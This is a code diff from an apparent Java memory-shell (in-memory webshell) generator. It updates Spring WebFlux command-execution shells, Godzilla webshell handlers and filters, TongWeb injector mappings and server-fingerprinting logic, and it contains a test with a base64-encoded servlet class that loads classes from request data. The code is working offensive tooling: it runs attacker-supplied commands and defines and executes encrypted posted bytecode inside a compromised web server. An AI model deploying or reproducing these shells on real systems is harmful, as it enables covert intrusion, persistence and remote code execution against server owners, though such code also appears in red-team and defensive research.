public InjectorMapping getShellInjectorMapping() { public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder() return InjectorMapping.builder()
.addInjector(LISTENER, TongWebListenerInjector.class) .addInjector(LISTENER, TongWebListenerInjector.class)
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
.addInjector(FILTER, TongWebFilterInjector.class) .addInjector(FILTER, TongWebFilterInjector.class)
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
.addInjector(VALVE, TongWebValveInjector.class) .addInjector(VALVE, TongWebValveInjector.class)
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class) .addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class) .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
.build(); .build();
@@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse; import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream; import java.io.InputStream;
import java.util.Optional; import java.util.Optional;
@@ -26,17 +27,21 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
if (p == null || p.isEmpty()) { if (p == null || p.isEmpty()) {
p = request.headers().firstHeader(paramName); p = request.headers().firstHeader(paramName);
} }
String result = ""; final String paramValue = p;
try { Mono<String> resultMono = Mono.fromCallable(() -> {
if (p != null) { String result = "";
String param = getParam(p); try {
InputStream inputStream = getInputStream(param); if (paramValue != null) {
result = new Scanner(inputStream).useDelimiter("\\A").next(); String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
} }
} catch (Throwable e) { return result;
e.printStackTrace(); }).subscribeOn(Schedulers.boundedElastic());
} return ServerResponse.ok().body(resultMono, String.class);
return ServerResponse.ok().body(Mono.just(result), String.class);
} }
private String getParam(String param) { private String getParam(String param) {
@@ -2,6 +2,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner; import java.util.Scanner;
@@ -18,17 +20,21 @@ public class CommandHandlerMethod {
if (p == null || p.isEmpty()) { if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName); p = exchange.getRequest().getHeaders().getFirst(paramName);
} }
String result = ""; final String paramValue = p;
try { Mono<String> resultMono = Mono.fromCallable(() -> {
if (p != null) { String result = "";
String param = getParam(p); try {
InputStream inputStream = getInputStream(param); if (paramValue != null) {
result = new Scanner(inputStream).useDelimiter("\\A").next(); String param = getParam(paramValue);
InputStream inputStream = getInputStream(param);
result = new Scanner(inputStream).useDelimiter("\\A").next();
}
} catch (Throwable e) {
e.printStackTrace();
} }
} catch (Throwable e) { return result;
e.printStackTrace(); }).subscribeOn(Schedulers.boundedElastic());
} return ResponseEntity.ok(resultMono);
return ResponseEntity.ok(result);
} }
private String getParam(String param) { private String getParam(String param) {
@@ -5,6 +5,7 @@ import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain; import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import java.io.InputStream; import java.io.InputStream;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
@@ -26,15 +27,20 @@ public class CommandWebFilter implements WebFilter {
if (p == null) { if (p == null) {
return chain.filter(exchange); return chain.filter(exchange);
} }
String param = getParam(p); final String paramValue = p;
String result = ""; return Mono.fromCallable(() -> {
try { String param = getParam(paramValue);
InputStream inputStream = getInputStream(param); String result = "";
result = new Scanner(inputStream).useDelimiter("\\A").next(); try {
} catch (Throwable e) { InputStream inputStream = getInputStream(param);
e.printStackTrace(); result = new Scanner(inputStream).useDelimiter("\\A").next();
} } catch (Throwable e) {
return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))); e.printStackTrace();
}
return result;
}).subscribeOn(Schedulers.boundedElastic())
.flatMap(result -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))));
} }
private String getParam(String param) { private String getParam(String param) {
@@ -1,9 +1,11 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.util.MultiValueMap;
import org.springframework.web.reactive.function.server.HandlerFunction; import org.springframework.web.reactive.function.server.HandlerFunction;
import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse; import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -35,33 +37,36 @@ public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunct
if (value == null || !value.contains(headerValue)) { if (value == null || !value.contains(headerValue)) {
return Mono.empty(); return Mono.empty();
} }
Object bufferStream = request.formData().flatMap(map -> { Mono<String> bufferStream = request.formData()
StringBuilder result = new StringBuilder(); .flatMap(map -> Mono.fromCallable(() -> process(map, request))
try { .subscribeOn(Schedulers.boundedElastic()));
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
return ServerResponse.ok().body(bufferStream, String.class); return ServerResponse.ok().body(bufferStream, String.class);
} }
private String process(MultiValueMap<String, String> map, ServerRequest request) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(request);
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
@@ -1,8 +1,10 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -33,33 +35,37 @@ public class GodzillaHandlerMethod extends ClassLoader {
if (value == null || !value.contains(headerValue)) { if (value == null || !value.contains(headerValue)) {
return ResponseEntity.notFound().build(); return ResponseEntity.notFound().build();
} }
Object bufferStream = exchange.getFormData().flatMap(map -> { Mono<String> bufferStream = exchange.getFormData()
StringBuilder result = new StringBuilder(); .flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
try { .subscribeOn(Schedulers.boundedElastic()));
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return Mono.just(result.toString());
});
return ResponseEntity.ok(bufferStream); return ResponseEntity.ok(bufferStream);
} }
private String process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
StringBuilder result = new StringBuilder();
try {
byte[] data = base64Decode(map.getFirst(pass));
data = x(data, false);
if (payload == null) {
payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length);
} else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = payload.getDeclaredConstructor().newInstance();
f.equals(arrOut);
f.equals(data);
f.equals(exchange.getRequest());
f.toString();
result.append(md5.substring(0, 16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable ex) {
ex.printStackTrace();
result.append(getErrorMessage(ex));
}
return result.toString();
}
@SuppressWarnings("all") @SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception { public static String base64Encode(byte[] bs) throws Exception {
try { try {
@@ -1,12 +1,12 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.util.MultiValueMap; import org.springframework.util.MultiValueMap;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain; import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import reactor.core.scheduler.Schedulers;
import javax.crypto.Cipher; import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
@@ -39,35 +39,36 @@ public class GodzillaWebFilter extends ClassLoader implements WebFilter {
if (value == null || !value.contains(headerValue)) { if (value == null || !value.contains(headerValue)) {
return chain.filter(exchange); return chain.filter(exchange);
} }
return exchange.getResponse().writeWith(getPost(exchange)); return exchange.getFormData()
.flatMap(map -> Mono.fromCallable(() -> process(map, exchange))
.subscribeOn(Schedulers.boundedElastic()))
.flatMap(bytes -> exchange.getResponse().writeWith(
Mono.just(new DefaultDataBufferFactory().wrap(bytes))));
} }
private Mono<DataBuffer> getPost(ServerWebExchange exchange) { private byte[] process(MultiValueMap<String, String> map, ServerWebExchange exchange) {
Mono<MultiValueMap<String, String>> formData = exchange.getFormData(); StringBuilder result = new StringBuilder();
return formData.flatMap(map -> { try {
StringBuilder result = new StringBuilder(); byte[] data = base64Decode(map.getFirst(pass));
try { data = x(data, false);
byte[] data = base64Decode(map.getFirst(pass)); if (payload == null) {
data = x(data, false); payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
if (payload == null) { } else {
payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
} else { Object f = payload.getDeclaredConstructor().newInstance();
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); f.equals(arrOut);
Object f = payload.getDeclaredConstructor().newInstance(); f.equals(exchange.getRequest());
f.equals(arrOut); f.equals(data);
f.equals(exchange.getRequest()); f.toString();
f.equals(data); result.append(md5.substring(0, 16));
f.toString(); result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(0, 16)); result.append(md5.substring(16));
result.append(base64Encode(x(arrOut.toByteArray(), true)));
result.append(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
result.append(getErrorMessage(e));
} }
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); } catch (Throwable e) {
}); e.printStackTrace();
result.append(getErrorMessage(e));
}
return result.toString().getBytes(StandardCharsets.UTF_8);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -44,7 +44,7 @@ public class ServerProbe {
if (System.getProperty("com.apusic.home") != null) { if (System.getProperty("com.apusic.home") != null) {
return ret = "Apusic"; return ret = "Apusic";
} }
if (System.getProperty("bes.home") != null if ((System.getProperty("bes.home") != null || System.getProperty("bes.base") != null)
&& classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) { && classNames.contains("com.bes.enterprise.web.util.threads.WorkQueue")) {
return ret = "BES"; return ret = "BES";
} }
@@ -67,7 +67,8 @@ public class ServerProbe {
|| classNames.contains("com.caucho.server.http.ServletServer"))) { || classNames.contains("com.caucho.server.http.ServletServer"))) {
return ret = "Resin2"; return ret = "Resin2";
} }
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) { if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")
|| classNames.contains("org.springframework.boot.reactor.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux"; return ret = "SpringWebFlux";
} }
if (System.getProperty("AS_INSTALL") != null if (System.getProperty("AS_INSTALL") != null
@@ -95,7 +95,7 @@ class CustomShellGeneratorTest {
@Test @Test
@SneakyThrows @SneakyThrows
void testJakartaServlet(){ void testJakartaServlet() {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL"); byte[] bytes = Base64.getDecoder().decode("yv66vgAAADcAgQoAGwBMCAA4CwA7AE0KABoATgoAGgBPCgAPAFALADwAUQoAUgBTBwBUBwBVCgAKAFYIAFcKAA8AWAgAWQcAWgcAWwoADwBcBwBdCgBeAF8HAC8IAGAIAGEKABIAYggAYwgAZAcAZQcAZgcAZwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTEJhc2U2NENsYXNzTG9hZGVyU2VydmxldDsBAARpbml0AQAiKExqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEABmNvbmZpZwEAH0xqYWthcnRhL3NlcnZsZXQvU2VydmxldENvbmZpZzsBAApFeGNlcHRpb25zBwBoAQAQZ2V0U2VydmxldENvbmZpZwEAISgpTGpha2FydGEvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEQoTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgEABWJ5dGVzAQACW0IBAANvYmoBABJMamF2YS9sYW5nL09iamVjdDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADcmVxAQAgTGpha2FydGEvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBACFMamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAARkYXRhAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAaQcAagcAawEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBAAxkZWNvZGVyQ2xhc3MBABFMamF2YS9sYW5nL0NsYXNzOwEAB2RlY29kZXIBAAR2YXI0AQAJYmFzZTY0U3RyAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEAFExqYXZhL2xhbmcvQ2xhc3M8Kj47AQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAdQmFzZTY0Q2xhc3NMb2FkZXJTZXJ2bGV0LmphdmEMAB0AHgwAbABtDAA+AD8MAG4AbwwAcABxDAByAHMHAHQMAHUAdgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAHQB3AQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwAeAB5AQAMZGVjb2RlQnVmZmVyAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwAegB7AQAQamF2YS9sYW5nL09iamVjdAcAfAwAfQB+AQAQamF2YS51dGlsLkJhc2U2NAEACmdldERlY29kZXIMAH8AgAEABmRlY29kZQEAAAEAGEJhc2U2NENsYXNzTG9hZGVyU2VydmxldAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAF2pha2FydGEvc2VydmxldC9TZXJ2bGV0AQAgamFrYXJ0YS9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB5qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB9qYWthcnRhL3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATamF2YS9pby9JT0V4Y2VwdGlvbgEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQALZGVmaW5lQ2xhc3MBACkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSSlMamF2YS9sYW5nL0NsYXNzOwEAC25ld0luc3RhbmNlAQAUKClMamF2YS9sYW5nL09iamVjdDsBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAVwcmludAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwAhABoAGwABABwAAAAHAAEAHQAeAAEAHwAAAC8AAQABAAAABSq3AAGxAAAAAgAgAAAABgABAAAACQAhAAAADAABAAAABQAiACMAAAABACQAJQACAB8AAAA1AAAAAgAAAAGxAAAAAgAgAAAABgABAAAADgAhAAAAFgACAAAAAQAiACMAAAAAAAEAJgAnAAEAKAAAAAQAAQApAAEAKgArAAEAHwAAACwAAQABAAAAAgGwAAAAAgAgAAAABgABAAAAEgAhAAAADAABAAAAAgAiACMAAAABACwALQACAB8AAADjAAUABgAAADorEgK5AAMCAE4tuAAEOgQqARkEAxkEvrYABbYABjoFLLkABwEAGQW2AAinAA86BLsAClkZBLcAC7+xAAEACQAqAC0ACQADACAAAAAiAAgAAAAXAAkAGQAPABoAHwAbACoAHgAtABwALwAdADkAHwAhAAAASAAHAA8AGwAuAC8ABAAfAAsAMAAxAAUALwAKADIAMwAEAAAAOgAiACMAAAAAADoANAA1AAEAAAA6ADYANwACAAkAMQA4ADkAAwA6AAAAGQAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL");
String className = CommonUtil.generateClassName(); String className = CommonUtil.generateClassName();
ShellConfig shellConfig = ShellConfig.builder() ShellConfig shellConfig = ShellConfig.builder()
+3 -3
View File
@@ -15,13 +15,13 @@ alibaba-dubbo = "2.6.12"
apache-dubbo = "2.7.6" apache-dubbo = "2.7.6"
tomcat = "8.5.85" tomcat = "8.5.85"
byte-buddy = "1.18.11" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy byte-buddy = "1.18.12" # https://mvnrepository.com/artifact/net.bytebuddy/byte-buddy
commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io commons-io = "2.22.0" # https://mvnrepository.com/artifact/commons-io/commons-io
commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 commons-lang3 = "3.20.0" # https://mvnrepository.com/artifact/org.apache.commons/commons-lang3
commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec commons-codec = "1.22.1" # https://mvnrepository.com/artifact/commons-codec/commons-codec
logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic logback = "1.5.38" # https://mvnrepository.com/artifact/ch.qos.logback/logback-classic
okhttp3 = "5.4.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp okhttp3 = "5.5.0" # https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
fastjson2 = "2.0.62" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2 fastjson2 = "2.0.64" # https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2
java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket java-websocket = "1.6.0" # https://mvnrepository.com/artifact/org.java-websocket/Java-WebSocket
mockito = "5.21.0" mockito = "5.21.0"
@@ -28,6 +28,8 @@ public class ContainerTool {
